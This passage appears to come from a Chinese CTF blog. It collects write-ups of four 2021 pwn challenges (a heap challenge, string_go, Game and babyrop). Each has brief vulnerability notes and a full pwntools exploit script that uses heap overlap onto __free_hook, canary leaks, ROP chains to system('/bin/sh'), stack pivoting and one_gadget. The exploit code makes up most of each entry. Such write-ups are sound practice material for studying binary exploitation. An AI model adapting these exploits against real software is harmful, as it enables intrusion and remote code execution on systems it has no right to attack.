完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *p = process("noleak1" ) libc = ELF("libc-2.27.so" ) p.recvuntil("str:" ) p.send("N0_py_1n_tHe_ct7" ) def choice (choice ): p.recvuntil(">" ) p.sendline(str (choice)) def add (index,size ): choice(1 ) p.recvuntil("Index?" ) p.sendline(str (index)) p.recvuntil("Size?" ) p.sendline(str (size)) def show (index ): choice(2 ) p.recvuntil("Index?" ) p.sendline(str (index)) def edit (index,content ): choice(3 ) p.recvuntil("Index?" ) p.sendline(str (index)) p.recvuntil("content:" ) p.sendline(content) def free (index ): choice(4 ) p.recvuntil("Index?" ) p.sendline(str (index)) add(0 ,0x410 ) add(1 ,0x20 ) free(0 ) add(0 ,0x20 ) show(0 ) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' ))-0x3ec090 success("libc: " + hex (libc_base)) system = libc_base + libc.sym['system' ] free_hook = libc_base + libc.sym['__free_hook' ] add(0 ,0x3e0 ) add(0 ,0x420 ) add(1 ,0x78 ) add(2 ,0x4f0 ) add(3 ,0x18 ) free(0 ) edit(1 ,b'B' * 0x70 + p64(0x420 + 0x10 + 0x70 + 0x10 )) free(2 ) gdb.attach(p) add(4 ,0x420 ) add(5 ,0x78 ) add(6 ,0x78 ) free(6 ) free(5 ) edit(1 ,p64(free_hook-8 )) add(7 ,0x78 ) add(8 ,0x78 ) edit(8 ,b'/bin/sh\x00' +p64(system)) free(8 ) p.interactive()
2021-12-09 [2021 西湖论剑] string_go 附件 本地用的ubuntu版本为ubuntu18 11.4
这道题其实是一道很简单的题,只是我当时比赛的时候看到c++就开摆,导致这个题没出,还是自己态度的问题吧,经过这次比赛涨了个教训。
题目分析 由于自己没有学过c++,所以IDA反汇编出来那一大串不是看的很懂,所以分析程序的时候就是一顿连蒙带猜
首先看主函数
menu 会打印一个这样的菜单
然后python_input函数会获取我们第一次的输入
然后是calc ,这个函数我没怎么看懂,但感觉是一个检查输入合法性的函数,赛后看大佬们的wp感觉应该是一个处理算式的函数,然后将计算的结果返回,如果返回值为3则进入接下来的判断
接下来会进入lative_func函数,听名字应该就是个有洞的函数,但是由于不太看的懂到这里基本都靠猜了
首先,先输入v7的值,这里要求v7小于等于7,由于v7是int型所以输入负数也可以通过判断,
接下来输入v10然后是v2 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](v10, v7)
这句话的意思是将v2赋值为v10的第v7个值
以下是靠猜测 : 这里的v7会被当作一个无符号整数而导致溢出,然后在打印v10的时候会将栈中的东西leak出来,然后这里可以leak出libc和canary(偏移动态调试得到)
接下来输入v9,直接溢出来rop这里需要注意的就是要动态调试计算一下溢出后到ret的距离
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *p = process('string_go' ) libc = ELF('libc-2.27.so' ) p.recvuntil(">>>" ) p.sendline("3" ) p.recvuntil(">>>" ) p.sendline("-1" ) p.recvuntil(">>>" ) p.sendline(b'a' *8 ) p.recvuntil(">>>" ) p.sendline("1" ) p.recv() p.recv(0x20 ) libc_base = u64(p.recv(6 ).ljust(8 ,b'\x00' ))-0x61b800 success("libc:" +hex (libc_base)) p.recv(0x12 ) canary =u64(p.recv(8 )) success("canary:" + hex (canary)) gdb.attach(p) binsh = libc_base + 0x00000000001b3e1a ret = libc_base + 0x00000000000008aa pop_rdi = libc_base + 0x00000000000215bf system = libc_base + libc.sym['system' ] payload = b'a' *0x18 + p64(canary) + b'a' *0x18 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) p.sendline(payload) p.interactive()
2021-12-10 [湖湘杯2021 2021]Game 附件
这道题的利用方式比较简单,难就难在找出利用点,这道题也比较适合逆向新手来练习逆向
题目分析 这道题是个游戏题,还有点意思,主要讲的是主角作为人造人被人类观察做实验,还有好几个结局,在玩的时候发现输入密码的时候有奇怪的字符串输出
判断这里应该是个溢出点
然后发现这里之后如果输错密码会remake到第一次输密码的地方
进入IDA发现输入我们名字的地方会将我们的输入读入bss段
之后分析发现输密码的地方只溢出了八个字节,虽然可以反复利用但是我没想到啥利用方法,感觉只能用来泄露canary
继续分析发现这里溢出了0x10字节,可以用来做栈迁移,但是之前玩游戏的时候没有发现这条分支,经过Ctrl+x追踪发现只要在出牢房后的所有有选择的地方选择3隐藏选项就能进入该分支
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 from pwn import * p = process("game" ) elf = ELF('game' ) ls = 0x0000401256 name = 0x0000000004080C0 system = 0x401265 pop_rdi = 0x0000000000402bb3 leave_ret = 0x401337 payload1 = b'\x00' * 0x600 + b'/bin/sh\x00' + p64(pop_rdi) + p64(name + 0x600 ) + p64(system) payload2 = b'a' *0x18 p.sendlineafter("开始游戏" ,'1' ) p.sendlineafter("请输入你的名字:" ,payload1) p.sendlineafter("2.女" ,"2" ) p.sendlineafter("2.打开柜子" ,"2" ) p.sendlineafter("这个柜子看起来十分笨重难以打开。" ,b"" ) p.sendlineafter("然而她还是尝试打开它。" ,b"" ) p.sendlineafter("直接打开了柜子。" ,b"" ) p.sendlineafter("2.无视提醒打开它" ,"2" ) p.sendlineafter("那么就由我来告诉你一些事情吧。" ,b"" ) p.sendlineafter("我们所有人都在寻找出路" ,b"" ) p.sendlineafter("你可能就会想起我们又一次越狱失败了。" ,b"" ) p.sendlineafter("你就会记起一切。" ,b"" ) p.sendlineafter("我把线索藏在了你自己的衣服里。" ,b"" ) p.sendlineafter("来......" ,b"" ) p.sendlineafter("你真的相信它所写的那些事情吗?)" ,b"" ) p.sendlineafter("床上发呆。" ,b"" ) p.sendlineafter("开始研究起来。" ,b"" ) p.sendlineafter("你为什么会相信?)" ,b"" ) p.sendlineafter("2.气恼地撕开衣服" ,"2" ) p.sendlineafter("分布着星星和横杠。" ,b"" ) p.sendlineafter(",-****" ,b"" ) p.sendlineafter("8位数字密码:" ,"20161226" ) p.sendlineafter("上的地方。" ,b"" ) p.sendlineafter("发出了声响。" ,b"" ) p.sendlineafter("个密码锁。" ,b"" ) p.sendlineafter("密码:" ,payload2) p.recvuntil('a' *0x18 ) canary = u64(p.recv(8 )) & 0xffffffffffffff00 success("canary:" + hex (canary)) p.send('\n' ) p.sendlineafter("开了房间门。" ," " ) p.sendline(" " ) p.sendlineafter("么也没有。)" ,"3" ) p.sendlineafter("么知道的!)" ," " ) p.sendlineafter("打开了它。" ,b"" ) p.sendlineafter("动了起来。" ,b"" ) p.sendlineafter("无数台显示器。" ,b"" ) p.sendlineafter("震惊到无法言语。" ,b"" ) p.sendlineafter(")" ,b"" ) p.sendlineafter("房间。" ,b"" ) p.sendlineafter("个。)" ,b"" ) p.sendlineafter("生。)" ,b"" ) p.sendlineafter("越孤独。)" ,b"" ) p.sendlineafter("2.返回房间" ,"3" ) p.sendlineafter("间深处走。" ,b"" ) p.sendlineafter("趣的实验品。)" ,b"" ) p.sendlineafter("话起来。" ,b"" ) p.sendlineafter("诉你一切。)" ,b"" ) p.sendlineafter("停止过。)" ,b"" ) p.sendlineafter("中心)" ,b"" ) p.sendlineafter("的一份子了。)" ,b"" ) p.sendlineafter("我意识的。)" ,b"" ) p.sendlineafter("作者其实就是我。)" ,b"" ) p.sendlineafter("然被囚禁着。)" ,b"" ) p.sendlineafter("不过智慧的你可能并没有到达过那里。)" ,b"" ) p.sendlineafter("察中心取得的突破。)" ," " ) p.sendlineafter("的吗?)" ," " ) p.sendlineafter("504号" ,b"" ) p.sendlineafter("了地" ," " ) payload3 = b'a' * 0x18 + p64(canary) + p64(name + 0x600 ) + p64(leave_ret) p.recvuntil("你的信息。" ) p.sendline(payload3) p.interactive()
这里提一下在bss偏移的时候需要注意rsp的值,如果偏移小了会导致rsp位于一个没有权限的段上导致打不通
2021-12-14 [mtctf 2021]babyrop 附件
一道简单的rop,考的应该是栈迁移,但是用ret2text+one也一样可以做出来
题目分析
这里在输入name的时候会溢出一个字节,通过这个溢出我们可以泄露出canary
然后进入if判断进入vuln函数
这里存在溢出,但是不足以我们进行ret2libc,那么首先想到栈迁移。但是这道题可以通过printf(stdout)
的方式泄露出libc然后打one
我们将vuln的rbp的值覆盖为stdout+0x20
,然后劫持程序到这里
这样就能够成功泄露出libc的地址,然后继续执行程序到vuln然后打one
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *p = process('babyrop' ) libc = ELF('libc-2.27.so' ) elf = ELF('babyrop' ) payload1 = b'a' *0x19 payload2 = b'4196782' p.recvuntil('name?' ) p.sendline(payload1) p.recvuntil('a' *0x19 ) canary = u64(p.recv(7 ).rjust(8 ,b'\x00' )) success("canary:" +hex (canary)) p.recvuntil('enge' ) p.sendline(payload2) payload3 = b'a' *0x18 + p64(canary) + p64(0x601010 +0x20 ) + p64(0x400818 ) p.recvuntil('message' ) p.sendline(payload3) p.recvuntil('Hello, ' ) libc_base = u64(p.recv(6 ).ljust(8 ,b'\x00' ))-0x3ec760 success("libc:" +hex (libc_base)) one = libc_base + 0x4f3d5 payload4 = b'a' *0x18 +p64(canary) + p64(0 ) + p64(one) p.recvuntil('unlock this challenge' ) p.sendline(payload2) p.recvuntil('message' ) p.sendline(payload4) p.interactive()